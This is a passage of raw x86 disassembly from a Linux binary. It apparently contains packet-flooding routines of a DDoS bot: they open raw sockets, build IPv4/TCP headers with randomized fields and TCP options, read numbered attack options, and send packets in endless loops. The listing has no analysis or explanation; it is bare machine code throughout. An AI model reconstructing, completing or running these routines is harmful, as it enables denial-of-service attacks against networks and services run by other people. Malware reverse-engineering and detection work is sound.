8048a38: 68 ff ff 00 00 push $0xffff | |
8048a3d: 89 cf mov %ecx,%edi | |
8048a3f: 6a 07 push $0x7 | |
8048a41: 53 push %ebx | |
8048a42: 51 push %ecx | |
8048a43: e8 f8 fa ff ff call 0x8048540 | |
8048a48: 66 89 44 24 3c mov %ax,0x3c(%esp) | |
8048a4d: 83 c4 20 add $0x20,%esp | |
8048a50: 68 ff ff 00 00 push $0xffff | |
8048a55: 6a 06 push $0x6 | |
8048a57: 53 push %ebx | |
8048a58: 57 push %edi | |
8048a59: e8 e2 fa ff ff call 0x8048540 | |
8048a5e: 68 00 04 00 00 push $0x400 | |
8048a63: 89 c6 mov %eax,%esi | |
8048a65: 6a 00 push $0x0 | |
8048a67: 53 push %ebx | |
8048a68: 57 push %edi | |
8048a69: e8 d2 fa ff ff call 0x8048540 | |
8048a6e: 66 89 44 24 40 mov %ax,0x40(%esp) | |
8048a73: 83 c4 20 add $0x20,%esp | |
8048a76: 6a 01 push $0x1 | |
8048a78: 6a 01 push $0x1 | |
8048a7a: 53 push %ebx | |
8048a7b: 57 push %edi | |
8048a7c: e8 bf fa ff ff call 0x8048540 | |
8048a81: c7 44 24 3c 00 00 00 movl $0x0,0x3c(%esp) | |
8048a88: 00 | |
8048a89: 88 44 24 33 mov %al,0x33(%esp) | |
8048a8d: c7 44 24 40 00 00 00 movl $0x0,0x40(%esp) | |
8048a94: 00 | |
8048a95: c7 44 24 44 00 00 00 movl $0x0,0x44(%esp) | |
8048a9c: 00 | |
8048a9d: c7 44 24 48 00 00 00 movl $0x0,0x48(%esp) | |
8048aa4: 00 | |
8048aa5: 83 c4 10 add $0x10,%esp | |
8048aa8: 66 83 fe ff cmp $0xffff,%si | |
8048aac: 0f 84 7f 01 00 00 je 0x8048c31 | |
8048ab2: 66 c1 ce 08 ror $0x8,%si | |
8048ab6: 66 89 74 24 1e mov %si,0x1e(%esp) | |
8048abb: 8a 44 24 13 mov 0x13(%esp),%al | |
8048abf: 25 ff 00 00 00 and $0xff,%eax | |
8048ac4: 89 44 24 18 mov %eax,0x18(%esp) | |
8048ac8: 85 c0 test %eax,%eax | |
8048aca: 0f 8e 0e 01 00 00 jle 0x8048bde | |
8048ad0: 8b 54 24 14 mov 0x14(%esp),%edx | |
8048ad4: 8b 74 24 54 mov 0x54(%esp),%esi | |
8048ad8: 42 inc %edx | |
8048ad9: c7 44 24 28 01 00 00 movl $0x1,0x28(%esp) | |
8048ae0: 00 | |
8048ae1: 89 54 24 04 mov %edx,0x4(%esp) | |
8048ae5: e9 c1 00 00 00 jmp 0x8048bab | |
8048aea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
8048af0: 8b 44 24 1c mov 0x1c(%esp),%eax | |
8048af4: 66 c1 c8 08 ror $0x8,%ax | |
8048af8: 66 89 46 02 mov %ax,0x2(%esi) | |
8048afc: 57 push %edi | |
8048afd: 6a 00 push $0x0 | |
8048aff: 6a 02 push $0x2 | |
8048b01: 6a 02 push $0x2 | |
8048b03: e8 17 3d 00 00 call 0x804c81f | |
8048b08: 8b 4c 24 1c mov 0x1c(%esp),%ecx | |
8048b0c: 89 c2 mov %eax,%edx | |
8048b0e: 8b 44 24 38 mov 0x38(%esp),%eax | |
8048b12: 83 c4 10 add $0x10,%esp | |
8048b15: 83 fa ff cmp $0xffffffff,%edx | |
8048b18: 89 54 81 fc mov %edx,-0x4(%ecx,%eax,4) | |
8048b1c: 0f 84 1e 01 00 00 je 0x8048c40 | |
8048b22: 66 8b 44 24 1e mov 0x1e(%esp),%ax | |
8048b27: 66 c7 44 24 2c 02 00 movw $0x2,0x2c(%esp) | |
8048b2e: 66 89 44 24 2e mov %ax,0x2e(%esp) | |
8048b33: 8d 44 24 2c lea 0x2c(%esp),%eax | |
8048b37: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp) | |
8048b3e: 00 | |
8048b3f: 53 push %ebx | |
8048b40: 6a 10 push $0x10 | |
8048b42: 50 push %eax | |
8048b43: 52 push %edx | |
8048b44: e8 13 3b 00 00 call 0x804c65c | |
8048b49: 83 c4 10 add $0x10,%esp | |
8048b4c: 80 7e 14 1f cmpb $0x1f,0x14(%esi) | |
8048b50: 77 2a ja 0x8048b7c | |
8048b52: 8b 5e 10 mov 0x10(%esi),%ebx | |
8048b55: e8 f6 27 00 00 call 0x804b350 | |
8048b5a: 66 c1 cb 08 ror $0x8,%bx | |
8048b5e: c1 cb 10 ror $0x10,%ebx | |
8048b61: 66 c1 cb 08 ror $0x8,%bx | |
8048b65: 31 c9 xor %ecx,%ecx | |
8048b67: 8a 4e 14 mov 0x14(%esi),%cl | |
8048b6a: d3 e8 shr %cl,%eax | |
8048b6c: 01 d8 add %ebx,%eax | |
8048b6e: 66 c1 c8 08 ror $0x8,%ax | |
8048b72: c1 c8 10 ror $0x10,%eax | |
8048b75: 66 c1 c8 08 ror $0x8,%ax | |
8048b79: 89 46 04 mov %eax,0x4(%esi) | |
8048b7c: 51 push %ecx | |
8048b7d: 6a 10 push $0x10 | |
8048b7f: 56 push %esi | |
8048b80: 83 c6 18 add $0x18,%esi | |
8048b83: 8b 54 24 34 mov 0x34(%esp),%edx | |
8048b87: 8b 4c 24 18 mov 0x18(%esp),%ecx | |
8048b8b: 8b 54 91 fc mov -0x4(%ecx,%edx,4),%edx | |
8048b8f: 52 push %edx | |
8048b90: e8 f2 3a 00 00 call 0x804c687 | |
8048b95: 8b 44 24 38 mov 0x38(%esp),%eax | |
8048b99: 8b 7c 24 14 mov 0x14(%esp),%edi | |
8048b9d: 40 inc %eax | |
8048b9e: 89 44 24 38 mov %eax,0x38(%esp) | |
8048ba2: 83 c4 10 add $0x10,%esp | |
8048ba5: 3b 7c 24 28 cmp 0x28(%esp),%edi | |
8048ba9: 74 3a je 0x8048be5 | |
8048bab: 50 push %eax | |
8048bac: 50 push %eax | |
8048bad: 6a 01 push $0x1 | |
8048baf: 68 ff ff 00 00 push $0xffff | |
8048bb4: e8 2b 44 00 00 call 0x804cfe4 | |
8048bb9: 8b 4c 24 38 mov 0x38(%esp),%ecx | |
8048bbd: 83 c4 10 add $0x10,%esp | |
8048bc0: 89 44 8d fc mov %eax,-0x4(%ebp,%ecx,4) | |
8048bc4: 66 83 7c 24 1c ff cmpw $0xffff,0x1c(%esp) | |
8048bca: 0f 85 20 ff ff ff jne 0x8048af0 | |
8048bd0: e8 7b 27 00 00 call 0x804b350 | |
8048bd5: 66 89 46 02 mov %ax,0x2(%esi) | |
8048bd9: e9 1e ff ff ff jmp 0x8048afc | |
8048bde: 8b 44 24 14 mov 0x14(%esp),%eax | |
8048be2: 8d 78 01 lea 0x1(%eax),%edi | |
8048be5: 8b 44 24 18 mov 0x18(%esp),%eax | |
8048be9: 85 c0 test %eax,%eax | |
8048beb: 90 nop | |
8048bec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
8048bf0: 7e fe jle 0x8048bf0 | |
8048bf2: 8b 74 24 20 mov 0x20(%esp),%esi | |
8048bf6: 81 e6 ff ff 00 00 and $0xffff,%esi | |
8048bfc: 80 7c 24 23 00 cmpb $0x0,0x23(%esp) | |
8048c01: 75 45 jne 0x8048c48 | |
8048c03: bb 01 00 00 00 mov $0x1,%ebx | |
8048c08: 8b 44 9d fc mov -0x4(%ebp,%ebx,4),%eax | |
8048c0c: 68 00 40 00 00 push $0x4000 | |
8048c11: 56 push %esi | |
8048c12: 50 push %eax | |
8048c13: 8b 54 24 18 mov 0x18(%esp),%edx | |
8048c17: 8b 44 9a fc mov -0x4(%edx,%ebx,4),%eax | |
8048c1b: 43 inc %ebx | |
8048c1c: 50 push %eax | |
8048c1d: e8 4c 3b 00 00 call 0x804c76e | |
8048c22: 83 c4 10 add $0x10,%esp | |
8048c25: 39 df cmp %ebx,%edi | |
8048c27: 75 df jne 0x8048c08 | |
8048c29: 8b 44 24 18 mov 0x18(%esp),%eax | |
8048c2d: 85 c0 test %eax,%eax | |
8048c2f: eb bf jmp 0x8048bf0 | |
8048c31: e8 1a 27 00 00 call 0x804b350 | |
8048c36: 66 89 44 24 1e mov %ax,0x1e(%esp) | |
8048c3b: e9 7b fe ff ff jmp 0x8048abb | |
8048c40: 83 c4 3c add $0x3c,%esp | |
8048c43: 5b pop %ebx | |
8048c44: 5e pop %esi | |
8048c45: 5f pop %edi | |
8048c46: 5d pop %ebp | |
8048c47: c3 ret | |
8048c48: c7 44 24 24 01 00 00 movl $0x1,0x24(%esp) | |
8048c4f: 00 | |
8048c50: 89 74 24 08 mov %esi,0x8(%esp) | |
8048c54: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
8048c58: 50 push %eax | |
8048c59: 50 push %eax | |
8048c5a: 8b 44 24 10 mov 0x10(%esp),%eax | |
8048c5e: 8b 5c 8d fc mov -0x4(%ebp,%ecx,4),%ebx | |
8048c62: 50 push %eax | |
8048c63: 53 push %ebx | |
8048c64: e8 27 28 00 00 call 0x804b490 | |
8048c69: 68 00 40 00 00 push $0x4000 | |
8048c6e: 56 push %esi | |
8048c6f: 53 push %ebx | |
8048c70: 8b 44 24 40 mov 0x40(%esp),%eax | |
8048c74: 8b 54 24 28 mov 0x28(%esp),%edx | |
8048c78: 8b 5c 82 fc mov -0x4(%edx,%eax,4),%ebx | |
8048c7c: 53 push %ebx | |
8048c7d: e8 ec 3a 00 00 call 0x804c76e | |
8048c82: 8b 4c 24 44 mov 0x44(%esp),%ecx | |
8048c86: 41 inc %ecx | |
8048c87: 89 4c 24 44 mov %ecx,0x44(%esp) | |
8048c8b: 83 c4 20 add $0x20,%esp | |
8048c8e: 39 7c 24 24 cmp %edi,0x24(%esp) | |
8048c92: 0f 84 4d ff ff ff je 0x8048be5 | |
8048c98: eb ba jmp 0x8048c54 | |
8048c9a: 90 nop | |
8048c9b: 90 nop | |
8048c9c: 90 nop | |
8048c9d: 90 nop | |
8048c9e: 90 nop | |
8048c9f: 90 nop | |
8048ca0: 55 push %ebp | |
8048ca1: 57 push %edi | |
8048ca2: 56 push %esi | |
8048ca3: 53 push %ebx | |
8048ca4: 83 ec 44 sub $0x44,%esp | |
8048ca7: 8b 5c 24 64 mov 0x64(%esp),%ebx | |
8048cab: 0f b6 74 24 60 movzbl 0x60(%esp),%esi | |
8048cb0: 6a 04 push $0x4 | |
8048cb2: 81 e6 ff 00 00 00 and $0xff,%esi | |
8048cb8: 8a 44 24 5c mov 0x5c(%esp),%al | |
8048cbc: 25 ff 00 00 00 and $0xff,%eax | |
8048cc1: 50 push %eax | |
8048cc2: 89 c5 mov %eax,%ebp | |
8048cc4: e8 1b 43 00 00 call 0x804cfe4 | |
8048cc9: 89 44 24 18 mov %eax,0x18(%esp) | |
8048ccd: 6a 00 push $0x0 | |
8048ccf: 6a 02 push $0x2 | |
8048cd1: 53 push %ebx | |
8048cd2: 56 push %esi | |
8048cd3: e8 68 f8 ff ff call 0x8048540 | |
8048cd8: 88 44 24 41 mov %al,0x41(%esp) | |
8048cdc: 83 c4 20 add $0x20,%esp | |
8048cdf: 68 ff ff 00 00 push $0xffff | |
8048ce4: 6a 03 push $0x3 | |
8048ce6: 53 push %ebx | |
8048ce7: 56 push %esi | |
8048ce8: e8 53 f8 ff ff call 0x8048540 | |
8048ced: 89 44 24 1c mov %eax,0x1c(%esp) | |
8048cf1: 6a 40 push $0x40 | |
8048cf3: 6a 04 push $0x4 | |
8048cf5: 53 push %ebx | |
8048cf6: 56 push %esi | |
8048cf7: e8 44 f8 ff ff call 0x8048540 | |
8048cfc: 83 c4 20 add $0x20,%esp | |
8048cff: 89 c7 mov %eax,%edi | |
8048d01: 6a 01 push $0x1 | |
8048d03: 6a 05 push $0x5 | |
8048d05: 53 push %ebx | |
8048d06: 56 push %esi | |
8048d07: e8 34 f8 ff ff call 0x8048540 | |
8048d0c: 68 ff ff 00 00 push $0xffff | |
8048d11: 6a 06 push $0x6 | |
8048d13: 53 push %ebx | |
8048d14: 56 push %esi | |
8048d15: e8 26 f8 ff ff call 0x8048540 | |
8048d1a: 89 44 24 30 mov %eax,0x30(%esp) | |
8048d1e: 83 c4 20 add $0x20,%esp | |
8048d21: 68 ff ff 00 00 push $0xffff | |
8048d26: 6a 07 push $0x7 | |
8048d28: 53 push %ebx | |
8048d29: 56 push %esi | |
8048d2a: e8 11 f8 ff ff call 0x8048540 | |
8048d2f: 89 44 24 24 mov %eax,0x24(%esp) | |
8048d33: 68 ff ff 00 00 push $0xffff | |
8048d38: 6a 11 push $0x11 | |
8048d3a: 53 push %ebx | |
8048d3b: 56 push %esi | |
8048d3c: e8 ff f7 ff ff call 0x8048540 | |
8048d41: 89 44 24 38 mov %eax,0x38(%esp) | |
8048d45: 83 c4 20 add $0x20,%esp | |
8048d48: a1 08 f1 04 08 mov 0x804f108,%eax | |
8048d4d: 50 push %eax | |
8048d4e: 6a 19 push $0x19 | |
8048d50: 53 push %ebx | |
8048d51: 56 push %esi | |
8048d52: e8 89 f7 ff ff call 0x80484e0 | |
8048d57: 89 44 24 38 mov %eax,0x38(%esp) | |
8048d5b: 83 c4 0c add $0xc,%esp | |
8048d5e: 6a 06 push $0x6 | |
8048d60: 6a 03 push $0x3 | |
8048d62: 6a 02 push $0x2 | |
8048d64: e8 b6 3a 00 00 call 0x804c81f | |
8048d69: 89 44 24 2c mov %eax,0x2c(%esp) | |
8048d6d: 83 c4 10 add $0x10,%esp | |
8048d70: 40 inc %eax | |
8048d71: 0f 84 e3 02 00 00 je 0x804905a | |
8048d77: c7 44 24 38 01 00 00 movl $0x1,0x38(%esp) | |
8048d7e: 00 | |
8048d7f: 83 ec 0c sub $0xc,%esp | |
8048d82: 6a 04 push $0x4 | |
8048d84: 8d 44 24 48 lea 0x48(%esp),%eax | |
8048d88: 50 push %eax | |
8048d89: 6a 03 push $0x3 | |
8048d8b: 6a 00 push $0x0 | |
8048d8d: 8b 44 24 38 mov 0x38(%esp),%eax | |
8048d91: 50 push %eax | |
8048d92: e8 4d 3a 00 00 call 0x804c7e4 | |
8048d97: 83 c4 20 add $0x20,%esp | |
8048d9a: 40 inc %eax | |
8048d9b: 0f 84 a9 02 00 00 je 0x804904a | |
8048da1: 8b 54 24 0c mov 0xc(%esp),%edx | |
8048da5: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
8048da9: 8b 44 24 14 mov 0x14(%esp),%eax | |
8048dad: 66 89 54 24 22 mov %dx,0x22(%esp) | |
8048db2: 66 89 4c 24 24 mov %cx,0x24(%esp) | |
8048db7: 66 89 44 24 26 mov %ax,0x26(%esp) | |
8048dbc: c7 44 24 38 00 00 00 movl $0x0,0x38(%esp) | |
8048dc3: 00 | |
8048dc4: 85 ed test %ebp,%ebp | |
8048dc6: 0f 8e 1a 01 00 00 jle 0x8048ee6 | |
8048dcc: 8b 74 24 18 mov 0x18(%esp),%esi | |
8048dd0: 31 db xor %ebx,%ebx | |
8048dd2: 50 push %eax | |
8048dd3: 50 push %eax | |
8048dd4: 6a 01 push $0x1 | |
8048dd6: 68 80 00 00 00 push $0x80 | |
8048ddb: e8 04 42 00 00 call 0x804cfe4 | |
8048de0: 8b 54 24 18 mov 0x18(%esp),%edx | |
8048de4: 89 04 9a mov %eax,(%edx,%ebx,4) | |
8048de7: 8b 44 24 48 mov 0x48(%esp),%eax | |
8048deb: 8b 1c 82 mov (%edx,%eax,4),%ebx | |
8048dee: c6 03 45 movb $0x45,(%ebx) | |
8048df1: 8d 53 14 lea 0x14(%ebx),%edx | |
8048df4: 8a 4c 24 31 mov 0x31(%esp),%cl | |
8048df8: 66 c7 43 02 00 3c movw $0x3c00,0x2(%ebx) | |
8048dfe: 88 4b 01 mov %cl,0x1(%ebx) | |
8048e01: 66 c7 43 06 00 00 movw $0x0,0x6(%ebx) | |
8048e07: 66 8b 44 24 32 mov 0x32(%esp),%ax | |
8048e0c: c6 43 09 06 movb $0x6,0x9(%ebx) | |
8048e10: 66 c1 c8 08 ror $0x8,%ax | |
8048e14: 66 89 43 04 mov %ax,0x4(%ebx) | |
8048e18: 89 f8 mov %edi,%eax | |
8048e1a: 88 43 08 mov %al,0x8(%ebx) | |
8048e1d: 66 c7 42 0e ff ff movw $0xffff,0xe(%edx) | |
8048e23: 8b 4c 24 38 mov 0x38(%esp),%ecx | |
8048e27: 66 c7 42 10 01 00 movw $0x1,0x10(%edx) | |
8048e2d: 89 4b 0c mov %ecx,0xc(%ebx) | |
8048e30: 8b 4c 24 64 mov 0x64(%esp),%ecx | |
8048e34: 8b 44 24 48 mov 0x48(%esp),%eax | |
8048e38: 66 c7 42 12 01 00 movw $0x1,0x12(%edx) | |
8048e3e: 8d 04 40 lea (%eax,%eax,2),%eax | |
8048e41: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax | |
8048e45: 89 43 10 mov %eax,0x10(%ebx) | |
8048e48: 8b 44 24 34 mov 0x34(%esp),%eax | |
8048e4c: 66 c1 c8 08 ror $0x8,%ax | |
8048e50: 66 89 43 14 mov %ax,0x14(%ebx) | |
8048e54: 66 8b 44 24 36 mov 0x36(%esp),%ax | |
8048e59: 66 c1 c8 08 ror $0x8,%ax | |
8048e5d: 66 89 42 02 mov %ax,0x2(%edx) | |
8048e61: 89 f0 mov %esi,%eax | |
8048e63: 66 c1 c8 08 ror $0x8,%ax | |
8048e67: 25 ff ff 00 00 and $0xffff,%eax | |
8048e6c: c7 42 08 00 00 00 00 movl $0x0,0x8(%edx) | |
8048e73: 89 42 04 mov %eax,0x4(%edx) | |
8048e76: 8a 42 0c mov 0xc(%edx),%al | |
8048e79: 83 e0 0f and $0xf,%eax | |
8048e7c: 83 c8 50 or $0x50,%eax | |
8048e7f: 80 4a 0d 02 orb $0x2,0xd(%edx) | |
8048e83: 88 42 0c mov %al,0xc(%edx) | |
8048e86: c6 43 28 02 movb $0x2,0x28(%ebx) | |
8048e8a: c6 43 29 04 movb $0x4,0x29(%ebx) | |
8048e8e: e8 bd 24 00 00 call 0x804b350 | |
8048e93: 83 e0 0f and $0xf,%eax | |
8048e96: c6 43 2c 04 movb $0x4,0x2c(%ebx) | |
8048e9a: 05 78 05 00 00 add $0x578,%eax | |
8048e9f: c6 43 2d 02 movb $0x2,0x2d(%ebx) | |
8048ea3: 66 c1 c8 08 ror $0x8,%ax | |
8048ea7: c6 43 2e 08 movb $0x8,0x2e(%ebx) | |
8048eab: 66 89 43 2a mov %ax,0x2a(%ebx) | |
8048eaf: c6 43 2f 0a movb $0xa,0x2f(%ebx) | |
8048eb3: e8 98 24 00 00 call 0x804b350 | |
8048eb8: c7 43 34 00 00 00 00 movl $0x0,0x34(%ebx) | |
8048ebf: 89 43 30 mov %eax,0x30(%ebx) | |
8048ec2: c6 43 38 01 movb $0x1,0x38(%ebx) | |
8048ec6: c6 43 39 03 movb $0x3,0x39(%ebx) | |
8048eca: c6 43 3a 03 movb $0x3,0x3a(%ebx) | |
8048ece: c6 43 3b 06 movb $0x6,0x3b(%ebx) | |
8048ed2: 8b 5c 24 48 mov 0x48(%esp),%ebx | |
8048ed6: 43 inc %ebx | |
8048ed7: 89 5c 24 48 mov %ebx,0x48(%esp) | |
8048edb: 83 c4 10 add $0x10,%esp | |
8048ede: 39 dd cmp %ebx,%ebp | |
8048ee0: 0f 8f ec fe ff ff jg 0x8048dd2 | |
8048ee6: 85 ed test %ebp,%ebp | |
8048ee8: 7e fe jle 0x8048ee8 | |
8048eea: c7 44 24 38 00 00 00 movl $0x0,0x38(%esp) | |
8048ef1: 00 | |
8048ef2: 31 c0 xor %eax,%eax | |
8048ef4: 8b 54 24 08 mov 0x8(%esp),%edx | |
8048ef8: 8b 4c 24 54 mov 0x54(%esp),%ecx | |
8048efc: 8b 34 82 mov (%edx,%eax,4),%esi | |
8048eff: 8d 04 40 lea (%eax,%eax,2),%eax | |
8048f02: 8d 04 c1 lea (%ecx,%eax,8),%eax | |
8048f05: 8d 7e 14 lea 0x14(%esi),%edi | |
8048f08: 80 78 14 1f cmpb $0x1f,0x14(%eax) | |
8048f0c: 0f 86 a7 00 00 00 jbe 0x8048fb9 | |
8048f12: 83 7c 24 28 ff cmpl $0xffffffff,0x28(%esp) | |
8048f17: 0f 84 e1 00 00 00 je 0x8048ffe | |
8048f1d: 66 83 7c 24 22 ff cmpw $0xffff,0x22(%esp) | |
8048f23: 0f 84 e9 00 00 00 je 0x8049012 | |
8048f29: 66 83 7c 24 24 ff cmpw $0xffff,0x24(%esp) | |
8048f2f: 0f 84 f2 00 00 00 je 0x8049027 | |
8048f35: 66 83 7c 24 26 ff cmpw $0xffff,0x26(%esp) | |
8048f3b: 0f 84 fb 00 00 00 je 0x804903c | |
8048f41: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi) | |
8048f47: 53 push %ebx | |
8048f48: 53 push %ebx | |
8048f49: 6a 14 push $0x14 | |
8048f4b: 56 push %esi | |
8048f4c: e8 df 0b 00 00 call 0x8049b30 | |
8048f51: 66 89 46 0a mov %ax,0xa(%esi) | |
8048f55: 66 c7 47 10 00 00 movw $0x0,0x10(%edi) | |
8048f5b: 6a 28 push $0x28 | |
8048f5d: 68 00 28 00 00 push $0x2800 | |
8048f62: 57 push %edi | |
8048f63: 56 push %esi | |
8048f64: e8 17 0c 00 00 call 0x8049b80 | |
8048f69: 8b 4c 24 74 mov 0x74(%esp),%ecx | |
8048f6d: 66 89 47 10 mov %ax,0x10(%edi) | |
8048f71: 8b 44 24 58 mov 0x58(%esp),%eax | |
8048f75: 66 8b 57 02 mov 0x2(%edi),%dx | |
8048f79: 83 c4 18 add $0x18,%esp | |
8048f7c: 8d 04 40 lea (%eax,%eax,2),%eax | |
8048f7f: c1 e0 03 shl $0x3,%eax | |
8048f82: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1) | |
8048f87: 01 c8 add %ecx,%eax | |
8048f89: 6a 10 push $0x10 | |
8048f8b: 50 push %eax | |
8048f8c: 68 00 40 00 00 push $0x4000 | |
8048f91: 6a 3c push $0x3c | |
8048f93: 56 push %esi | |
8048f94: 8b 4c 24 38 mov 0x38(%esp),%ecx | |
8048f98: 51 push %ecx | |
8048f99: e8 03 38 00 00 call 0x804c7a1 | |
8048f9e: 8b 44 24 58 mov 0x58(%esp),%eax | |
8048fa2: 40 inc %eax | |
8048fa3: 89 44 24 58 mov %eax,0x58(%esp) | |
8048fa7: 83 c4 20 add $0x20,%esp | |
8048faa: 39 e8 cmp %ebp,%eax | |
8048fac: 0f 8c 42 ff ff ff jl 0x8048ef4 | |
8048fb2: 85 ed test %ebp,%ebp | |
8048fb4: e9 2f ff ff ff jmp 0x8048ee8 | |
8048fb9: 8b 58 10 mov 0x10(%eax),%ebx | |
8048fbc: e8 8f 23 00 00 call 0x804b350 | |
8048fc1: 66 c1 cb 08 ror $0x8,%bx | |
8048fc5: c1 cb 10 ror $0x10,%ebx | |
8048fc8: 66 c1 cb 08 ror $0x8,%bx | |
8048fcc: 8b 54 24 38 mov 0x38(%esp),%edx | |
8048fd0: 8d 0c 52 lea (%edx,%edx,2),%ecx | |
8048fd3: 8b 54 24 54 mov 0x54(%esp),%edx | |
8048fd7: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl | |
8048fdb: 81 e1 ff 00 00 00 and $0xff,%ecx | |
8048fe1: d3 e8 shr %cl,%eax | |
8048fe3: 01 d8 add %ebx,%eax | |
8048fe5: 66 c1 c8 08 ror $0x8,%ax | |
8048fe9: c1 c8 10 ror $0x10,%eax | |
8048fec: 66 c1 c8 08 ror $0x8,%ax | |
8048ff0: 83 7c 24 28 ff cmpl $0xffffffff,0x28(%esp) | |
8048ff5: 89 46 10 mov %eax,0x10(%esi) | |
8048ff8: 0f 85 1f ff ff ff jne 0x8048f1d | |
8048ffe: e8 4d 23 00 00 call 0x804b350 | |
8049003: 66 83 7c 24 22 ff cmpw $0xffff,0x22(%esp) | |
8049009: 89 46 0c mov %eax,0xc(%esi) | |
804900c: 0f 85 17 ff ff ff jne 0x8048f29 | |
8049012: e8 39 23 00 00 call 0x804b350 | |
8049017: 66 83 7c 24 24 ff cmpw $0xffff,0x24(%esp) | |
804901d: 66 89 46 04 mov %ax,0x4(%esi) | |
8049021: 0f 85 0e ff ff ff jne 0x8048f35 | |
8049027: e8 24 23 00 00 call 0x804b350 | |
804902c: 66 83 7c 24 26 ff cmpw $0xffff,0x26(%esp) | |
8049032: 66 89 46 14 mov %ax,0x14(%esi) | |
8049036: 0f 85 05 ff ff ff jne 0x8048f41 | |
804903c: e8 0f 23 00 00 call 0x804b350 | |
8049041: 66 89 47 02 mov %ax,0x2(%edi) | |
8049045: e9 f7 fe ff ff jmp 0x8048f41 | |
804904a: 83 ec 0c sub $0xc,%esp | |
804904d: 8b 44 24 28 mov 0x28(%esp),%eax | |
8049051: 50 push %eax | |
8049052: e8 7c 30 00 00 call 0x804c0d3 | |
8049057: 83 c4 10 add $0x10,%esp | |
804905a: 83 c4 3c add $0x3c,%esp | |
804905d: 5b pop %ebx | |
804905e: 5e pop %esi | |
804905f: 5f pop %edi | |
8049060: 5d pop %ebp | |
8049061: c3 ret | |
8049062: 90 nop | |
8049063: 90 nop | |
8049064: 90 nop | |
8049065: 90 nop | |
8049066: 90 nop | |
8049067: 90 nop | |
8049068: 90 nop | |
8049069: 90 nop | |
804906a: 90 nop | |
804906b: 90 nop | |
804906c: 90 nop | |
804906d: 90 nop | |
804906e: 90 nop | |
804906f: 90 nop | |
8049070: 55 push %ebp | |
8049071: 57 push %edi | |
8049072: 56 push %esi | |
8049073: 53 push %ebx | |
8049074: 83 ec 74 sub $0x74,%esp | |
8049077: 31 c0 xor %eax,%eax | |
8049079: 8b bc 24 94 00 00 00 mov 0x94(%esp),%edi | |
8049080: 0f b6 b4 24 90 00 00 movzbl 0x90(%esp),%esi | |
8049087: 00 | |
8049088: 6a 04 push $0x4 | |
804908a: 81 e6 ff 00 00 00 and $0xff,%esi | |
8049090: 8a 84 24 8c 00 00 00 mov 0x8c(%esp),%al | |
8049097: 89 44 24 10 mov %eax,0x10(%esp) | |
804909b: 50 push %eax | |
804909c: e8 43 3f 00 00 call 0x804cfe4 | |
80490a1: 89 44 24 18 mov %eax,0x18(%esp) | |
80490a5: 6a 00 push $0x0 | |
80490a7: 6a 02 push $0x2 | |
80490a9: 57 push %edi | |
80490aa: 56 push %esi | |
80490ab: e8 90 f4 ff ff call 0x8048540 | |
80490b0: 88 44 24 59 mov %al,0x59(%esp) | |
80490b4: 83 c4 20 add $0x20,%esp | |
80490b7: 68 ff ff 00 00 push $0xffff | |
80490bc: 6a 03 push $0x3 | |
80490be: 57 push %edi | |
80490bf: 56 push %esi | |
80490c0: e8 7b f4 ff ff call 0x8048540 | |
80490c5: 89 44 24 1c mov %eax,0x1c(%esp) | |
80490c9: 6a 40 push $0x40 | |
80490cb: 6a 04 push $0x4 | |
80490cd: 57 push %edi | |
80490ce: 56 push %esi | |
80490cf: e8 6c f4 ff ff call 0x8048540 | |
80490d4: 88 44 24 5c mov %al,0x5c(%esp) | |
80490d8: 83 c4 20 add $0x20,%esp | |
80490db: 6a 00 push $0x0 | |
80490dd: 6a 05 push $0x5 | |
80490df: 57 push %edi | |
80490e0: 56 push %esi | |
80490e1: e8 5a f4 ff ff call 0x8048540 | |
80490e6: 88 44 24 4d mov %al,0x4d(%esp) | |
80490ea: 68 ff ff 00 00 push $0xffff | |
80490ef: 6a 06 push $0x6 | |
80490f1: 57 push %edi | |
80490f2: 56 push %esi | |
80490f3: e8 48 f4 ff ff call 0x8048540 | |
80490f8: 89 44 24 30 mov %eax,0x30(%esp) | |
80490fc: 83 c4 20 add $0x20,%esp | |
80490ff: 68 ff ff 00 00 push $0xffff | |
8049104: 6a 07 push $0x7 | |
8049106: 57 push %edi | |
8049107: 56 push %esi | |
8049108: e8 33 f4 ff ff call 0x8048540 | |
804910d: 89 44 24 24 mov %eax,0x24(%esp) | |
8049111: 68 ff ff 00 00 push $0xffff | |
8049116: 6a 11 push $0x11 | |
8049118: 57 push %edi | |
8049119: 56 push %esi | |
804911a: e8 21 f4 ff ff call 0x8048540 | |
804911f: 89 44 24 38 mov %eax,0x38(%esp) | |
8049123: 83 c4 20 add $0x20,%esp | |
8049126: 68 ff ff 00 00 push $0xffff | |
804912b: 6a 12 push $0x12 | |
804912d: 57 push %edi | |
804912e: 56 push %esi | |
804912f: e8 0c f4 ff ff call 0x8048540 | |
8049134: 89 44 24 2c mov %eax,0x2c(%esp) | |
8049138: 6a 00 push $0x0 | |
804913a: 6a 0b push $0xb | |
804913c: 57 push %edi | |
804913d: 56 push %esi | |
804913e: e8 fd f3 ff ff call 0x8048540 | |
8049143: 89 44 24 40 mov %eax,0x40(%esp) | |
8049147: 83 c4 20 add $0x20,%esp | |
804914a: 6a 01 push $0x1 | |
804914c: 6a 0c push $0xc | |
804914e: 57 push %edi | |
804914f: 56 push %esi | |
8049150: e8 eb f3 ff ff call 0x8048540 | |
8049155: 89 44 24 34 mov %eax,0x34(%esp) | |
8049159: 6a 00 push $0x0 | |
804915b: 6a 0d push $0xd | |
804915d: 57 push %edi | |
804915e: 56 push %esi | |
804915f: e8 dc f3 ff ff call 0x8048540 | |
8049164: 89 44 24 48 mov %eax,0x48(%esp) | |
8049168: 83 c4 20 add $0x20,%esp | |
804916b: 6a 00 push $0x0 | |
804916d: 6a 0e push $0xe | |
804916f: 57 push %edi | |
8049170: 56 push %esi | |
8049171: e8 ca f3 ff ff call 0x8048540 | |
8049176: 89 44 24 3c mov %eax,0x3c(%esp) | |
804917a: 6a 00 push $0x0 | |
804917c: 6a 0f push $0xf | |
804917e: 57 push %edi | |
804917f: 56 push %esi | |
8049180: e8 bb f3 ff ff call 0x8048540 | |
8049185: 89 44 24 50 mov %eax,0x50(%esp) | |
